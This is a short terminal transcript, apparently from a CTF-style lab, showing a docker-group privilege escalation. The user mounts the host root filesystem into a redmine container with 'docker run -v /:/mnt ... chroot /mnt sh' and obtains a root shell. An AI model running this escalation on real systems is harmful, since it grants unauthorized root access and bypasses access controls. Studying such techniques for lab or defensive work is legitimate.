eleanor@peppo:/home$ id
uid=1000(eleanor) gid=1000(eleanor) groups=1000(eleanor),24(cdrom),999(docker)

docker run -v /:/mnt --rm -it [docker image] chroot /mnt sh

eleanor@peppo:/home$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
redmine             latest              0c8429c66e07        5 years ago         542MB
postgres            latest              adf2b126dda8        5 years ago         313MB

eleanor@peppo:/home$ docker run -v /:/mnt --rm -it redmine chroot /mnt sh
# whoami
root